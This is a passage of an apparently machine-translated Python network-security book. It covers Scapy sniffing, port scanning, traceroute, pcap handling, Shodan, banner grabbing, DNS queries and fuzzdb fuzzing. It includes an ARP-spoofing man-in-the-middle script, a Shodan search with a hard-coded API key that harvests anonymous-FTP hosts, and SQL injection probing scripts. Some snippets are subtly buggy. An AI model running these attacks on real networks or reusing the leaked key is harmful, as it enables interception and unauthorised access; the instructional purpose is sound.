    {"text": "您可以在 **scapy_icmp_google.py** 文件中找到以下代码： #!/usr/bin/python import sys from scapy.all import * p = Ether () / IP ( dst = 'www.google.com' ) / ICMP () send ( p ) 发送和接收数据包的功能系列包括： **sr（…）：**向网络发送和接收数据包或数据包列表。"},
    {"text": "我们可以看到它有三层（以太网、IP 和 TCP）： 使用 scapy 进行数据包嗅探 大多数网络使用广播技术（查看信息），这意味着设备通过网络传输的每个数据包都可以被连接到网络的任何其他设备读取。"},
    {"text": "WiFi networks and networks with a HUB device use this approach, however smarted devices such as routers and switches will only route and pass packets to the machines available in their route table. More information about broadcast networks can be found at https://en.wikipedia.org/wiki/Broadcasting_(networking) . 实际上，除了消息接收者之外的所有计算机都会意识到消息不是为他们准备的，并忽略它。"},
    {"text": "Scapy 提供了一种嗅探数据包并解析其内容的方法： sniff ( filter = \"\" , iface = \"any\" , prn = function , count = N ) 使用 sniff 功能，我们可以像 tcpdump 或 Wireshark 这样的工具一样捕获数据包，指示我们要从中收集它生成的流量的网络接口，以及指示我们要捕获的数据包数量的计数器： scapy > pkts = sniff ( iface = \"eth0\" , count = 3 ) 现在我们将详细了解 sniff 函数的每个参数。 **sniff（）**方法的参数如下： 计数 ：要捕获的数据包数，0 表示无穷大 iface ：嗅探接口；"},
    {"text": "默认值为“无” 过滤器 ：使用 BPF 语法过滤器进行过滤嗅探 我们可以突出显示提供应用于每个数据包的函数的 prn 参数： 此参数将出现在其他许多函数中，如文档中所示，将函数作为输入参数引用。"},
    {"text": "在 sniff() 功能的情况下，此功能将应用于每个捕获的数据包。 这样， sniff() 函数每次截获数据包时，都会以截获的数据包为参数调用此函数。"},
    {"text": "使用此功能非常简单： > packet = sniff ( filter = \"tcp\" , iface = \"eth0\" , prn = lambda x : x . summary ()) 在下面的示例中，我们可以看到在 eth0 接口捕获数据包后执行 lambda 功能的结果： 在下面的示例中，我们在 scapy 模块中使用 sniff 方法。"},
    {"text": "您可以在** sniff_main_thread.py **文件中找到以下代码： from scapy.all import * interface = \"eth0\" def print_packet ( packet ): ip_layer = packet . getlayer ( IP ) print ( \"[!] New Packet: {src} -> {dst}\" . format ( src = ip_layer . src , dst = ip_layer . dst )) print ( \"[*] Start sniffing...\" ) sniff ( iface = interface , filter = \"ip\" , prn = print_packet ) print ( \"[*] Stop sniffing\" ) 在下面的示例中，我们在 scapy 模块中使用 sniff 方法。"},
    {"text": "在 sniffPackets 函数中，我们检查嗅探到的数据包是否有 IP 层，如果它有 IP 层，则存储嗅探到的数据包的源、目的地和 TTL 值并打印出来。 您可以在** sniff_packets.py **文件中找到以下代码： #import scapy module to python from scapy.all import * # custom custom packet sniffer action method def sniffPackets ( packet ): if packet . haslayer ( IP ): pckt_src = packet [ IP ]. src pckt_dst = packet [ IP ]. dst pckt_ttl = packet [ IP ]. ttl print \"IP Packet: %s is going to %s and has ttl value %s\" ( pckt_src , pckt_dst , pckt_ttl ) def main (): print \"custom packet sniffer\" #call scapy’s sniff method sniff ( filter = \"ip\" , iface = \"wlan0\" , prn = sniffPackets ) if __name__ == '__main__' : main () 在 scapy 中使用 Lamda 函数 sniff 函数的另一个有趣的特性是它具有“ prn 属性，它允许我们在每次捕获数据包时执行一个函数。 如果我们想要操纵和重新注入数据包，它非常有用： scapy > packetsICMP = sniff ( iface = \"eth0\" , filter = \"ICMP\" , prn = lambda x : x . summary ()) 例如，如果我们想要为 TCP 协议捕获 n 个数据包，我们可以使用 sniff 方法： scapy > a = sniff ( filter = \"TCP\" , count = n ) 在本说明中，我们为 TCP 协议捕获 100 个数据包： scapy > a = sniff ( filter = \"TCP\" , count = 100 ) 在下面的示例中，我们将看到如何对捕获的数据包应用自定义操作。"},
    {"text": "您可以在** sniff_packets_customAction.py **文件中找到以下代码： import scapy module from scapy.all import * ## create a packet count var packetCount = 0 ## define our custom action function def customAction ( packet ): packetCount += 1 return \"{} {} {}\" . format ( packetCount , packet [ 0 ][ 1 ]. src , packet [ 0 ][ 1 ]. dst ) ## setup sniff, filtering for IP traffic sniff ( filter = \"IP\" , prn = customAction ) 此外，我们还可以使用 sniff 功能和 ARP 过滤器监控 ARP 数据包。 您可以在** sniff_packets_arp.py **文件中找到以下代码： from scapy.all import * def arpDisplay ( pkt ): if pkt [ ARP ]. op == 1 : #request x = \"Request: {} is asking about {} \" . format ( pkt [ ARP ]. psrc , pkt [ ARP ]. pdst ) print x if pkt [ ARP ]. op == 2 : #response x = \"Response: {} has address {}\" . format ( pkt [ ARP ]. hwsrc , pkt [ ARP ]. psrc ) print x sniff ( prn = arpDisplay , filter = \"ARP\" , store = 0 , count = 10 ) 过滤 UDP 数据包 在下面的示例中，我们将看到如何定义一个函数，该函数将在每次发出 DNS 请求 时获得 UDP 类型的数据包时执行： scapy > a = sniff ( filter = \"UDP and port 53\" , count = 100 , prn = count_dns_request ) 可以通过这种方式从命令行定义此函数。 首先，我们定义一个名为 DNS_QUERIES 的全局变量，当 scapy 发现一个具有 UDP 协议和端口 53 的数据包时，它将调用此函数来增加此变量，这表明通信中存在 DNS 请求： >>> DNS_QUERIES = 0 >>> def count_dns_request ( package ): >>> global DNS_QUERIES >>> if DNSQR in package : >>> DNS_QUERIES += 1 带 scapy 的端口扫描和跟踪路由 此时，我们将看到特定网段上的端口扫描器。"},
    {"text": "与使用 nmap 进行端口扫描的方式相同，使用 scapy，我们还可以执行一个简单的端口扫描器，告诉我们特定主机的端口和端口列表，无论它们是打开的还是关闭的。 scapy 端口扫描 在下面的示例中，我们看到我们定义了一个 analyze_port() 函数，该函数的参数为要分析的主机和端口。 您可以在** port_scan_scapy.py **文件中找到以下代码： from scapy.all import sr1 , IP , TCP OPEN_PORTS = [] def analyze_port ( host , port ): \"\"\" Function that determines the status of a port: Open / closed :param host: target :param port: port to test :type port: int \"\"\" print \"[ii] Scanning port %s\" % port res = sr1 ( IP ( dst = host ) / TCP ( dport = port ), verbose = False , timeout = 0.2 ) if res is not None and TCP in res : if res [ TCP ]. flags == 18 : OPEN_PORTS . append ( port ) print \"Port %s open\" % port def main (): for x in xrange ( 0 , 80 ): analyze_port ( \"domain\" , x ) print \"[*] Open ports:\" for x in OPEN_PORTS : print \" - %s/TCP\" % x 带 scapy 的 Traceroute 命令 Traceroute 是一种网络工具，可在 Linux 和 Windows 中使用，它允许您遵循数据包（IP 包）从计算机 a 到计算机 B 的路径。"},
    {"text": "默认情况下，数据包通过互联网发送，但在链路故障或更改提供商连接的情况下，数据包遵循的路由可能会有所不同。 一旦数据包被发送到接入提供商，数据包将被发送到中间路由器，中间路由器将把数据包传输到其目的地。"},
    {"text": "使用 scapy，IP 和 UDP 数据包可以通过以下方式构建： from scapy.all import * ip_packet = IP ( dst = \"google.com\" , ttl = 10 ) udp_packet = UDP ( dport = 40000 ) full_packet = IP ( dst = \"google.com\" , ttl = 10 ) / UDP ( dport = 40000 ) 发送包裹时，使用 send 功能： send ( full_packet ) IP 数据包包括一个属性（TTL），您可以在其中指示数据包的生存期。"},
    {"text": "为了实现 traceroute，我们发送一个带有 TTL=i 的 UDP 数据包，用于 i=1,2,3,n，并检查响应数据包，以查看我们是否已到达目的地，我们需要继续为到达的每个主机执行跳转。"},
    {"text": "您可以在** traceroute_scapy.py **文件中找到以下代码： from scapy.all import * hostname = \"google.com\" for i in range ( 1 , 28 ): pkt = IP ( dst = hostname , ttl = i ) / UDP ( dport = 33434 ) # Send package and wait for an answer reply = sr1 ( pkt , verbose = 0 ) if reply is None : # No reply break elif reply . type == 3 : # the destination has been reached print \"Done!\" , reply . src break else : # We’re in the middle communication print \"%d hops away: \" % i , reply . src 在下面的屏幕截图中，我们可以看到执行 traceroute 脚本的结果。"},
    {"text": "我们的目标是 IP 地址 216.58.210.142，在达到目标之前，我们可以看到跳数： 此外，我们可以看到每个跃点的所有机器，直到我们到达目标： 使用 scapy 读取 pcap 文件 在本节中，您将学习读取 pcap 文件的基础知识。"},
    {"text": "PCAP 格式是一种标准格式，几乎所有网络分析工具都使用 PCAP 格式，如 TCPDump、WinDump、Wireshark、TShark 和 Ettercap。 PCAP 格式简介 类似地，使用此技术捕获的信息存储在扩展名为.pcap 的文件中。"},
    {"text": "此文件包含帧和网络数据包，如果我们需要保存网络分析的结果以供以后处理，则此文件非常有用。 如果我们需要保存网络分析的结果以供以后处理或作为已完成工作的证据，则这些文件非常有用。"},
    {"text": "**# 使用 scapy 读取 pcap 文件 通过 rdpcap() 函数，我们可以读取 pcap 文件并获得可直接从 Python 处理的包列表： scapy > file = rdpcap ( '<path_file.pcap>' ) scapy > file . summary () scapy > file . sessions () scapy > file . show () 写入 pcap 文件 通过 wrpcap() 功能，我们可以将捕获的数据包存储在 pcap 文件中。"},
    {"text": "在以下示例中，我们捕获用于 FTP 传输的 tcp 数据包，并将这些数据包保存在 pcap 文件中： scapy > packets = sniff ( filter = 'tcp port 21' ) scapy > file = wrpcap ( '<path_file.pcap>' , packets ) 使用 scapy 从 pcap 文件进行嗅探 通过 rdpcap() 函数，我们可以读取 pcap 文件，并获得可直接从 Python 处理的包列表： scapy > file = rdpcap ( '<path_file.pcap>' ) 我们还可以通过读取 pcap 文件来捕获类似的数据包： scapy > pkts = sniff ( offline = \"file.pcap\" ) Scapy 支持 B**PF（Beerkeley 数据包过滤器）**格式，它是在网络数据包上应用过滤器的标准格式。"},
    {"text": "这些过滤器可以应用于一组特定的软件包或直接应用于活动捕获： >>> sniff ( filter = \"ip and host 195.221.189.155\" , count = 2 ) < Sniffed TCP : 2 UDP : 0 ICMP : 0 Other : 0 > 我们可以对 sniff（）的输出进行格式化，使其只适应我们想要查看的数据，并根据需要对其进行排序。"},
    {"text": "我们希望以以下方式显示以下数据： 源 IP 和源端口 目标 IP 和目标端口 标记 TCP 或 TCP 标记 TCP 段的有效负载 我们可以看到 sniff 功能的参数： sniff ( filter = \"tcp and (port 443 or port 80)\" , prn = lambda x : x . sprintf ( \"%.time% %-15s,IP.src% -> %-15s,IP.dst% %IP.chksum% %03xr, IP.proto% %r,TCP.flags%\" )) 在以下示例中，我们可以看到捕获数据包并应用过滤器后执行 sniff 函数的结果： 协议输出现在不是 TCP、UDP 等。"},
    {"text": "基于 scapy 的网络取证 Scapy 还可用于执行 SQL 注入攻击的网络取证或从服务器提取 ftp 凭据。 通过使用 Python scapy 库，我们可以识别攻击者何时/何地/如何执行 SQL 注入。 借助 Python scapy 库，我们可以分析网络数据包的 pcap 文件。 With scapy, we can analyze networks packets and detect whether an attacker is performing a SQL injection. 我们将能够分析、截获和剖析网络数据包，并重用其内容。"},
    {"text": "您可以在** arp_attack_mitm.py **文件中找到以下代码： from scapy.all import * import time op = 1 # Op code 1 for query arp victim = \"<victim_ip>\" # replace with the victim's IP spoof = \"<ip_gateway>\" # replace with the IP of the gateway mac = \"<attack_mac_address>\" # replace with the attacker's MAC address arp = ARP ( op = op , psrc = spoof , pdst = victim , hwdst = mac ) while True : send ( arp ) time . sleep ( 2 ) 总结 在本章中，我们了解了使用各种 Python 模块进行数据包制作和嗅探的基础知识，并发现 scapy 非常强大且易于使用。"},
    {"text": "进一步阅读 在这些链接中，您将找到有关上述工具的更多信息以及一些已注释模块的官方 Python 文档： http://www.secdev.org/projects/scapy http://www.secdev.org/projects/scapy/build_your_own_tools.html http://scapy.readthedocs.io/en/latest/usage.html https://github.com/CoreSecurity/pcapy 基于 scapy 的工具： https://github.com/nottinghamprisateam/pyersinia https://github.com/adon90/sneaky_arpspoofing https://github.com/tetrillard/pynetdiscover pyNetdiscover 是一种主动/被动地址侦察工具和 ARP 扫描器，具有 as 要求的 python2.7 以及 scapy 、 argparse 和 netaddr 模块。"},
    {"text": "六、从服务器收集信息 六、从服务器收集信息 原文： https://gitee.com/apachecn/apachecn-python-zh/blob/master/docs/master-py-net-sec/06.md 在本章中，我们将介绍一些主要模块，这些模块允许我们提取服务器以公开方式公开的信息。"},
    {"text": "我们将看到 Shodan 和 Banner Grabbing 等工具，通过 DNSPython 模块为 DNS 服务器获取信息，通过 pywebfuzz 模块进行模糊处理。 本章将介绍以下主题： 信息收集导论 Shodan 包作为从服务器提取信息的工具 Shodan 软件包作为在 Shodan 应用过滤器和搜索的工具 如何通过 socket 模块从服务器中提取横幅信息 DNSPython 模块作为从 DNS 服务器提取信息的工具 pywebfuzz 模块用作获取特定服务器上可能存在漏洞的地址的工具 技术要求 本章的示例和源代码可在 GitHub 存储库的 chapter 6 文件夹 中找到 https://github.com/PacktPublishing/Mastering-Python-for-Networking-and-Security 。"},
    {"text": "从服务器收集信息的方法有很多： 我们可以使用 Shodan 从公共服务器提取信息 我们可以使用 socket 模块从公共和私有服务器提取横幅信息 我们可以使用 DNSPython 模块从 DNS 服务器提取信息 我们可以使用 pywebfuzz 模块获取可能的漏洞 使用 Shodan 从服务器提取信息 在本节中，您将学习 Shodan 从端口扫描、横幅服务器和操作系统版本获取信息的基础知识。"},
    {"text": "With Shodan, we also have available a REST API for making searches, scans, and queries: https://developer.shodan.io/api . 访问 Shodan 服务 Shodan 是一个搜索引擎，负责跟踪互联网上的服务器和各种类型的设备（例如，IP 摄像头），并提取有关这些目标上运行的服务的有用信息。 与其他搜索引擎不同，Shodan 不搜索 web 内容，它从 HTTP 请求的标题（如操作系统、横幅、服务器类型和版本）中搜索有关服务器的信息。 Shodan 的工作方式与互联网上的搜索引擎非常相似，不同之处在于它不索引找到的服务器的内容，而是服务返回的标题和横幅。"},
    {"text": "为了以编程方式使用 Python 中的 Shodan，有必要在 Shodan 中拥有一个具有开发人员 Shodan 密钥的帐户，这样，Python 开发人员就可以通过其 API 自动化其服务中的搜索。 如果我们注册为开发人员，我们将获得 SHODAN_API_KEY ，我们将使用 Python 中的脚本来执行与 相同的搜索 https://developer.shodan.io 服务。"},
    {"text": "例如，对于这个请求，我们使用“apache”搜索获得搜索结果，该搜索返回 JSON 格式的响应： https://api.shodan.io/shodan/host/search?key= <您的【api】密钥>&查询=apache 。"},
    {"text": "在这些过滤器中，我们可以突出显示： 在 之后/之前：按日期过滤结果 国家 ：按两位国家代码过滤结果 城市 ：按城市过滤结果 geo ：按纬度/经度过滤结果 主机名 ：按主机或域名过滤结果 网络 ：按特定 IP 范围或网段过滤结果 操作系统 ：搜索特定的操作系统 端口 ：允许我们根据端口号进行过滤 You can find more information about shodan filters at http://www.shodanhq.com/help/filters . 用 python 进行 Shodan 搜索 通过 Python API 提供的 search 函数，您可以使用与 web 界面相同的方式进行搜索。"},
    {"text": "在这里，我们可以从解释器中看到总的结果和 Shodan 模块的执行情况： 我们也可以创建我们自己的类（ ShodanSearch ），它有 __init__ 方法从注册时获得的 API_KEY 初始化 Shodan 对象。"},
    {"text": "您可以在 github 存储库中 shodan 文件夹的 ShodanSearch.py 文件中找到以下代码： #!/usr/bin/env python # -*- coding: utf-8 -*- import shodan import re class ShodanSearch : \"\"\" Class for search in Shodan \"\"\" def __init__ ( self , API_KEY ): self . api = shodan . Shodan ( API_KEY ) def search ( self , search ): \"\"\" Search from the search string\"\"\" try : result = self . api . search ( str ( search )) return result except Exception as e : print 'Exception: %s' % e result = [] return result 由给定主机执行搜索 在本例中，从 Python 解释器执行，我们可以看到使用 shodan.host() 方法，可以从某个 IP 获取信息，例如国家、城市、服务提供商、服务器或版本： 我们可以通过 数据阵列 来详细了解 ISP 、 位置、纬度、经度 的更多信息： 在前面定义的 ShodanSearch 类中，我们可以定义一个由主机的 IP 参数传递的方法，调用 shodan API 的 host () 方法： def get_host_info ( self , IP ): \"\"\" Get the information that may have shodan on an IP\"\" try: host = self.api.host(IP) return host except Exception as e: print 'Exception: %s' % e host = [] return host ShodanSearch 脚本接受一个搜索字符串和主机的 IP 地址： 在此示例执行中，我们正在测试 IP 地址 22.253.135.79，以从此服务器获取所有公共信息： python .\\ShodanSearch.py -h 23.253.135.79 搜索 FTP 服务器 您可以搜索具有匿名用户 FTP 访问权限且无需用户名和密码即可访问的服务器。"},
    {"text": "如果我们使用“ 端口：21 匿名用户登录 字符串进行搜索，我们将获得这些易受攻击的 FTP 服务器： 此脚本允许您获取允许匿名 FTP 访问的服务器中的 IP 地址列表。"},
    {"text": "您可以在** ShodanSearch_FTP_Vulnerable.py 文件中找到以下代码：** **```py import shodan import re sites =[] shodanKeyString = 'v4YpsPUJ3wjDxEqywwu6aF5OZKWj8kik' shodanApi = shodan.Shodan(shodanKeyString) results = shodanApi.search(\"port: 21 Anonymous user logged in\") print \"hosts number: \" + str(len( results['matches'])) for match in results['matches']: if match['ip_str'] is not None: print match['ip_str'] sites.append(match['ip_str']) 通过执行前面的脚本，我们获得了一个 IP 地址列表，其中的服务器容易在 ftp 服务中匿名登录： ![](img/fa6007ba-a01f-4818-ac2a-5b62be918960.png) # 使用 python 获取服务器信息 在本节中，您将学习使用 socket 和`python-whois`模块从服务器获取横幅和 whois 信息的基础知识。 # 用 python 提取服务器横幅 横幅显示与 web 服务器名称和服务器上运行的版本相关的信息。"},
    {"text": "生产版本可能会出现公共或非公共故障，因此测试返回我们已公开的服务器的横幅始终是一种良好的做法，以查看它们是否公开了我们不想公开的某些类型的信息。"},
    {"text": "您可以在`BannerServer.py`文件中找到以下代码： ```py import socket import argparse import re parser = argparse.ArgumentParser(description='Get banner server') # Main arguments parser.add_argument(\"-target\", dest=\"target\", help=\"target IP\", required=True) parser.add_argument(\"-port\", dest=\"port\", help=\"port\", type=int, required=True) parsed_args = parser.parse_args() sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((parsed_args.target, parsed_args.port)) sock.settimeout(2) http_get = b\"GET / HTTP/1.1\\nHost: \"+parsed_args.target+\"\\n\\n\" data = '' try: sock.sendall(http_get) data = sock.recvfrom(1024) data = data[0] print data headers = data.splitlines() # use regular expressions to look for server header for header in headers: if re.search('Server:', header): print(header) except socket.error: print (\"Socket error\", socket.errno) finally: sock.close() 上一个脚本接受 目标 和 端口 作为 参数 ： 在本例中，我们在端口 80 上获得 web 服务器版本： **python .\\BannerServer.py -target www.google.com -port 80** 查找有关服务器的 whois 信息 我们可以使用 WHOIS 协议来查看谁是域名的注册所有者。"},
    {"text": "此方法返回字典结构（ key-> value ： >>> import pythonwhois >>> whois = pythonwhois . get_whois ( domain ) >>> for key in whois . keys (): >> print \"%s : %s \\n \" % ( key , whois [ key ]) 通过 pythonwhois.net.get_root_server() 方法，可以恢复给定域的根服务器： >>> whois = pythonwhois . net . get_root_server ( domain ) 通过 pythonwhois.net.get_whois_raw() 方法，可以检索给定域的所有信息： >>> whois = pythonwhois . net . get_whois_raw ( domain ) 在下面的脚本中，我们看到了一个完整的示例，其中我们将域作为参数传递，我们将从中提取信息。 您可以在** PythonWhoisExample.py 文件中找到以下代码：** **```py if len(sys.argv) != 2: print “[-] usage python PythonWhoisExample.py <domain_name>” sys.exit() print sys.argv[1] whois = pythonwhois.get_whois(sys.argv[1]) for key in whois.keys(): print “[+] %s : %s \\n” %(key, whois[key]) whois = pythonwhois.net.get_root_server(sys.argv[1]) print whois whois = pythonwhois.net.get_whois_raw(sys.argv[1]) print whois # 使用 DNSPython 获取有关 dns 服务器的信息 在本节中，我们将用 Python 创建一个 DNS 客户机，并了解该客户机将如何获取有关名称服务器、邮件服务器和 IPV4/IPV6 地址的信息。"},
    {"text": "这里，我们确定 python.org 主机具有 IPv4 地址`23.253.135.79`： `$ nslookup python.org` 这是 python.org 域的地址解析： ![](img/bc740de9-7a55-40d3-accb-1884f928fb65.png) # DNS 服务器 与长序列的数字相比，人类更善于记住与物体相关的名称。"},
    {"text": "一些最常用的记录包括： * **A:**允许您查询 IPv4 地址 * **AAAA:**允许您查询 IPv6 地址 * **MX:**允许您咨询邮件服务器 * **NS:**允许您查询服务器名称（名称服务器） * **TXT:**允许您以文本格式查阅信息 # DNSPython 模块 DnsPython 是一个用 Python 编写的开源库，它允许操作根据 DNS 服务器查询记录。"},
    {"text": "可以使用 python 存储库或下载 github 源代码（[完成安装 https://github.com/rthalley/dnspython](https://github.com/rthalley/dnspython) 并运行`setup.py`安装文件。 您可以使用`easy_install`命令或`pip`命令安装此库： ```py $ pip install dnspython 本模块的主要软件包包括： import dns import dns.resolver 我们可以从特定领域获得的信息包括： 邮件服务器记录 ：ansMX=dns.resolver.query（'domain'，'MX'） 名称服务器记录 ：ansNS=dns.resolver.query（'domain'，'NS'） IPV4 地址记录 ：ANSPV4=dns.resolver.query（'domain'，'A'） IPV6 地址记录 ：ansipv6=dns.resolver.query（'domain'，'AAAA'） 在本例中，我们对具有 dns.resolver 子模块的主机的 IP 地址进行简单查询： import dns.resolver answers = dns . resolver . query ( 'python.org' , 'A' ) for rdata in answers : print ( 'IP' , rdata . to_text ()) 我们可以通过 is_subdomain() 方法检查一个域是否是另一个域的 子域 ： domain1 = dns . name . from_text ( 'domain1' ) domain2 = dns . name . from_text ( 'domain2' ) domain1 . is_subdomain ( domain2 ) 从 IP 地址获取域名： import dns.reversename domain = dns . reversename . from_address ( \"ip_address\" ) 从域名获取 IP： import dns.reversename ip = dns . reversename . to_address ( \"domain\" ) 如果要进行 反向查找 ，需要使用 dns.reversename 子模块，如下例所示： 您可以在** DNSPython-reverse-lookup.py 文件中找到以下代码：** **```py import dns.reversename name = dns.reversename.from_address(\"ip_address\") print name print dns.reversename.to_address(name) 在这个完整的示例中，我们将要从中提取信息的域作为参数传递。 您可以在`DNSPythonServer_info.py`文件中找到以下代码： ```py import dns import dns.resolver import dns.query import dns.zone import dns.name import dns.reversename import sys if len(sys.argv) != 2: print \"[-] usage python DNSPythonExample.py <domain_name>\" sys.exit() domain = sys.argv[1] ansIPV4,ansMX,ansNS,ansIPV6=(dns.resolver.query(domain,'A'), dns.resolver.query(domain,'MX'), dns.resolver.query(domain, 'NS'), dns.resolver.query(domain, 'AAAA')) print('Name Servers: %s' % ansNS.response.to_text()) print('Name Servers: %s' %[x.to_text() for x in ansNS]) print('Ipv4 addresses: %s' %[x.to_text() for x in ansIPV4]) print('Ipv4 addresses: %s' % ansIPV4.response.to_text()) print('Ipv6 addresses: %s' %[x.to_text() for x in ansIPV6]) print('Ipv6 addresses: %s' % ansIPV6.response.to_text()) print('Mail Servers: %s' % ansMX.response.to_text()) for data in ansMX: print('Mailserver', data.exchange.to_text(), 'has preference', data.preference) 例如，如果我们尝试从 python.org 域获取信息，我们会得到以下结果。 使用前面的脚本，我们可以从 python.org 域获取名称服务器： 在这个屏幕截图中，我们可以看到 python.org 上的 IPV4 和 IPV6 地址 解析： 在此屏幕截图中，我们可以看到来自 python.org 的 邮件服务器 分辨率： 在服务器中使用模糊获取易受攻击的地址 在本节中，我们将了解模糊化过程，以及如何在 python 项目中使用这种做法来获取易受攻击者攻击的 URL 和地址。"},
    {"text": "基本上，我们对每个可预测的 URL 进行请求，如果我们看到响应正常，这意味着我们找到了一个非公开或隐藏的 URL，但后来我们看到我们可以访问它。"},
    {"text": "创建模糊数据 ：获取所有输入参数后，我们必须创建无效的输入数据发送到目标应用。 模糊化 ：在创建模糊数据后，我们必须将其发送到目标应用。"},
    {"text": "FuzzDB 项目 FuzzDB 是一个项目，我们在其中找到一组文件夹，其中包含在多个 pentesting 测试中收集的已知攻击模式，主要在 web 环境中： https://github.com/fuzzdb-project/fuzzdb 。 FuzzDB 类别分为不同的目录，其中包含可预测的资源位置模式、用于检测具有恶意有效负载或易受攻击路由的漏洞的模式： 使用 pywebfuzz 使用 python 进行模糊化 pywebfuzz 是一个 Python 模块，用于通过蛮力方法帮助识别 web 应用中的漏洞，并为测试服务器和 web 应用（如 apache 服务器、jboss 和数据库）中的漏洞提供资源。"},
    {"text": "首先，我们需要导入 fuzzdb 模块： from pywebfuzz import fuzzdb 例如，如果我们想在服务器上搜索登录页面，我们可以使用 fuzzdb.Discovery.PredictableRes.Logins 模块： logins = fuzzdb . Discovery . PredictableRes . Logins 这将返回一个可预测资源的列表，其中每个元素对应一个 URL，如果该 URL 存在于 web 服务器中，则可能会受到攻击： 我们可以用 Python 编写一个脚本，在这个脚本中，给定一个我们正在分析的 URL，我们可以测试到每个登录路由的连接，如果请求返回一个代码 200 ，那么这些页面已经在服务器中找到了。"},
    {"text": "您可以在 pywebfuzz_folder 内的 demofuzzdb.py 文件 中找到以下代码： **```py from pywebfuzz import fuzzdb import requests logins = fuzzdb.Discovery.PredictableRes.Logins domain = \" http://testphp.vulnweb.com \" for login in logins: print(\"Testing... \"+ domain + login) response = requests.get(domain + login) if response.status_code == 200: print(\"Login Resource detected: \" +login) 您还可以获取服务器支持的 HTTP 方法： ```py httpMethods= fuzzdb.attack_payloads.http_protocol.http_protocol_methods python 解释器的上一个命令的输出显示了可用的 HTTP 方法： 您可以在 pywebfuzz_folder 内的 demofuzzdb2.py 文件中找到以下代码： **```py from pywebfuzz import fuzzdb import requests httpMethods= fuzzdb.attack_payloads.http_protocol.http_protocol_methods domain = \" http://www.google.com \" for method in httpMethods: print(\"Testing... \"+ domain +\"/\"+ method) response = requests.get(domain, method) if response.status_code not in range(400,599): print(\" Method Allowed: \" + method) 有一个模块允许您在 Apache tomcat 服务器上搜索可预测的资源： ```py tomcat = fuzzdb.Discovery. PredictableRes.ApacheTomcat 此子模块允许您获取字符串以检测 SQL 注入漏洞： fuzzdb . attack_payloads . sql_injection . detect . GenericBlind 在这个屏幕截图中，我们可以看到 fuzzdb sql_injection 模块的执行情况： The information returned in this case matches that found in the GitHub repository of the project. https://github.com/fuzzdb-project/fuzzdb/tree/master/attack/sql-injection/detect contains many files for detecting situations of SQL injection, for example, we can find the GenericBlind.txt file, which contains the same strings that the module returns from Python. 在 GitHub 存储库中，我们看到一些文件，具体取决于 SQL 攻击和我们正在测试的数据库类型： 我们还可以在 MySQL 数据库中找到其他用于测试 SQL 注入的文件： https://github.com/fuzzdb-project/fuzzdb/blob/master/attack/sql-injection/detect/MySQL.txt 。"},
    {"text": "在 Mysql.txt 文件中，我们可以看到所有可用的攻击向量，以发现 SQL 注入漏洞： 我们可以使用前面的文件检测特定站点中的 SQL 注入漏洞：testphp.vulnweb.com。"},
    {"text": "您可以在 pywebfuzz_ 文件夹内的 demofuzz_sql.py 文件中找到以下代码： from pywebfuzz import fuzzdb import requests mysql_attacks = fuzzdb . attack_payloads . sql_injection . detect . MySQL domain = \"http://testphp.vulnweb.com/listproducts.php?cat=\" for attack in mysql_attacks : print \"Testing... \" + domain + attack response = requests . get ( domain + attack ) if \"mysql\" in response . text . lower (): print ( \"Injectable MySQL detected\" ) print ( \"Attack string: \" + attack ) 上一个脚本的执行显示了输出： 以下示例将创建一个 Python 列表，其中包含 fuzzdb for LDAP Injection 的所有值： from pywebfuzz import fuzzdb ldap_values = fuzzdb . attack_payloads . ldap . ldap_injection 现在， ldap_values 变量将是一个 Python 字典，其中包含 fuzzdb 的 ldap_injection 文件中的值。"},
    {"text": "使用 DNSPython 模块获取 IPv6 地址记录需要调用哪种方法和传递哪些参数？ 使用 DNSPython 模块获取邮件服务器的记录需要调用哪种方法和传递哪些参数？ 使用 DNSPython 模块获取名称服务器的记录需要调用哪种方法和传递哪些参数？"},
    {"text": "进一步阅读 在这些链接中，您将找到有关上述工具的更多信息以及一些已注释模块的官方 python 文档： https://developer.shodan.io/api http://www.dnspython.org 您可以使用 python dnslib 模块 创建自己的 DNS 服务器 https://pypi.org/project/dnslib/ https://github.com/fuzzdb-project/fuzzdb 。"},
    {"text": "使用 python Shodan 模块的项目示例： https://www.programcreek.com/python/example/107467/shodan.Shodan https://github.com/NullArray/Shogun https://github.com/RussianOtter/networking/blob/master/8oScanner.py https://github.com/Va5c0/Shodan_cmd https://github.com/sjorsng/osint-combinerhttps://github.com/carnal0wnage/pentesty_scripts https://github.com/ffmancera/pentesting-multitool https://github.com/ninj4c0d3r/ShodanCli 如果我们感兴趣的是在不使用 bruteforce 过程的情况下查找 web 目录，我们可以使用这个名为 dirhunt 的工具，它基本上是一个 web 爬虫，用于搜索和分析网站中的目录。"},
    {"text": "https://github.com/Nekmo/dirhunt 您可以使用 **pip install dirhunt** 命令进行安装 此工具支持 Python 版本 2.7 和 3.x，但建议使用 Python 3.x**********"},
    {"text": "七、与 FTP、SSH 和 SNMP 服务器交互 七、与 FTP、SSH 和 SNMP 服务器交互 原文： https://gitee.com/apachecn/apachecn-python-zh/blob/master/docs/master-py-net-sec/07.md 本章将帮助您理解允许我们与 FTP、SSH 和 SNMP 服务器交互的模块。"},
    {"text": "在 Python 中可以找到一些允许我们连接 FTP、SSH 和 SNMP 服务器的工具，其中我们可以突出显示 FTPLib、Paramiko 和 PySNMP 本章将介绍以下主题： 学习和理解 FTP 协议以及如何通过 ftplib 模块连接 FTP 服务器 学习和理解如何使用 Python 构建匿名 FTP 扫描器 学习并理解如何使用 Paramiko 模块连接 SSH 服务器 学习并理解如何使用 pxssh 模块连接 SSH 服务器 学习和理解 SNMP 协议以及如何使用 PySNMP 模块连接 SNMP 服务器 技术要求 本章的示例和源代码可在 GitHub 存储库的 chapter7 文件夹中找到： https://github.com/PacktPublishing/Mastering-Python-for-Networking-and-Security 。"},
    {"text": "我们可以使用以下 pip3 和 easy_install3 命令： sudo apt-get install python3 sudo [pip3|easy_install3] ftplib sudo [pip3|easy_install3] paramiko sudo [pip3|easy_install3] pysnmp 连接 FTP 服务器 在本节中，我们将回顾 Python 标准库的 ftplib 模块，它为我们提供了快速轻松创建 FTP 客户端所需的方法。"},
    {"text": "文件传输协议（FTP） FTP 是一种用于将数据从一个系统传输到另一个系统的协议，它使用传输控制协议（TCP）端口 21 ，允许连接在同一网络中的客户端和服务器交换文件。"},
    {"text": "Python-ftplib 模块 要了解更多关于 ftplib 模块的信息，您可以查询官方文档： http://docs.python.org/library/ftplib.html ftplib 是 Python 中的本机库，允许连接 FTP 服务器并在这些服务器上执行命令。"},
